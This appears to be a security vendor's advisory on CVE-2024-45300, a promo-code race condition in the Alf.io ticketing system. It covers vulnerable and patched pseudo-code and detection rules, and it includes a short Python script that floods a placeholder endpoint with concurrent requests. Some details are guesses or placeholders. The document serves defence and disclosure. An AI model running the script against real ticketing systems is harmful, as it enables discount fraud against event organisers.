CVE-2024-45300

Executive Summary

CVE-2024-45300 is a race condition vulnerability in Alf.io, an open-source ticket reservation system. The flaw allows an attacker to bypass the configured limit on promo code usage, enabling the same discount coupon to be applied multiple times. This can lead to significant financial loss for event organizers by allowing unauthorized discounts. The vulnerability exists in versions prior to 2.0-M5 and has a CVSS score of 7.5 (High). No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the simplicity of the race condition exploitation.

Supply Chain & Package Security

Alf.io is a Java-based application distributed via GitHub and Maven Central. The vulnerability is introduced in the application's own code, not in a third-party dependency. However, organizations using Alf.io should verify the integrity of their deployment artifacts and ensure they are sourced from the official repository.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network
• Attack Complexity: High (requires precise timing)
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High (financial loss via unauthorized discounts)
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability is a classic Time-of-Check Time-of-Use (TOCTOU) race condition. When a user applies a promo code, the application performs the following steps:

1. Check: The system checks the current usage count of the promo code against the organizer-defined limit.
2. Use: If the count is below the limit, the system applies the discount and increments the usage count.

The race condition occurs because these two operations are not performed atomically. An attacker can send multiple concurrent requests to apply the same promo code. If the requests arrive between the check and the use steps, multiple requests may pass the check before any of them increment the count, allowing the attacker to exceed the intended limit.

The vulnerable code path is likely in the promo code validation and application logic, where a database transaction or lock is missing to ensure atomicity.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.0-M5):

// Pseudo-code illustrating the race condition
public boolean applyPromoCode(String code, Order order) {
    PromoCode promo = promoCodeRepository.findByCode(code);
    if (promo.getCurrentUsage() < promo.getMaxUsage()) {
        // Race window: multiple threads can enter here
        order.applyDiscount(promo.getDiscount());
        promo.setCurrentUsage(promo.getCurrentUsage() + 1);
        promoCodeRepository.save(promo);
        return true;
    }
    return false;
}

Patched Code (2.0-M5):

// Pseudo-code with atomic operation
public boolean applyPromoCode(String code, Order order) {
    // Use a database-level lock or atomic increment
    int updated = promoCodeRepository.incrementUsageIfBelowMax(code);
    if (updated > 0) {
        order.applyDiscount(promoCodeRepository.findByCode(code).getDiscount());
        return true;
    }
    return false;
}

The patched version uses an atomic database operation (e.g., UPDATE ... SET usage = usage + 1 WHERE usage < max_usage) to ensure that the check and increment happen as a single, indivisible step.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Alf.io (version < 2.0-M5) with a configured event and a promo code with a limited usage count (e.g., max 1 use).
• Network access to the Alf.io instance.

Exploitation Steps:

1. Identify the endpoint that applies promo codes (e.g., /api/events/{eventId}/reservation/{reservationId}/promo-code).
2. Craft a script that sends multiple concurrent HTTP POST requests with the same promo code.
3. Use a tool like curl with parallel execution or a Python script with threading.

Example Python Exploit Script:

import requests
import threading

target_url = "http://target-alfio/api/events/1/reservation/123/promo-code"
promo_code = "DISCOUNT20"
data = {"code": promo_code}

def send_request():
    try:
        response = requests.post(target_url, json=data)
        print(f"Status: {response.status_code}, Response: {response.text}")
    except Exception as e:
        print(f"Error: {e}")

# Send 10 concurrent requests
threads = []
for _ in range(10):
    t = threading.Thread(target=send_request)
    threads.append(t)
    t.start()

for t in threads:
    t.join()

Expected Outcome: Multiple requests will succeed, applying the discount more times than the limit allows.

Blue Team

Detection Steps:

1. Monitor application logs for multiple successful promo code applications from the same IP or session within a short time window.
2. Set up alerts for unusual spikes in promo code usage.
3. Review database logs for concurrent updates to the promo code usage count.

Hunting Query (ELK Stack):

{
  "query": {
    "bool": {
      "must": [
        { "match": { "event.dataset": "alfio.log" } },
        { "match": { "message": "Promo code applied" } }
      ],
      "filter": {
        "range": {
          "@timestamp": {
            "gte": "now-5m"
          }
        }
      }
    }
  }
}

Indicators of Compromise (IOCs)

• Log Entries: Multiple Promo code applied log entries for the same promo code within milliseconds of each other.
• Network Traffic: Burst of HTTP POST requests to the promo code endpoint from a single source IP.
• Database Anomalies: Promo code usage count exceeding the configured maximum.

Detection Engineering

YARA Rule

rule Detect_Race_Condition_Promo_Code_Abuse {
    meta:
        description = "Detects log entries indicating potential race condition exploitation of promo codes in Alf.io"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-45300"
    strings:
        $log_entry = "Promo code applied"
        $promo_code = /code=[A-Z0-9]+/
    condition:
        #log_entry > 5 and #promo_code > 1
}

Sigma Rule

title: Alf.io Promo Code Race Condition Abuse
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple successful promo code applications in a short time window
author: Valters IT
logsource:
    product: alfio
    service: application
detection:
    selection:
        event: "Promo code applied"
    timeframe: 1s
    condition: selection | count() > 3
falsepositives:
    - Legitimate high-frequency usage (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Alf.io Promo Code Race Condition Exploitation"; flow:to_server; content:"POST"; http_method; content:"/promo-code"; http_uri; pcre:"/code=[A-Z0-9]+/"; threshold:type both, track by_src, count 5, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Alf.io to version 2.0-M5 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to rate-limit requests to the promo code endpoint.
3. Monitor logs for signs of exploitation.

Long-Term Fixes:

• Apply database-level locks or atomic operations for promo code usage.
• Implement idempotency keys to prevent duplicate requests.
• Conduct a code review for similar race conditions in other parts of the application.

Workaround:

• Disable promo codes temporarily until the patch is applied.

Valters IT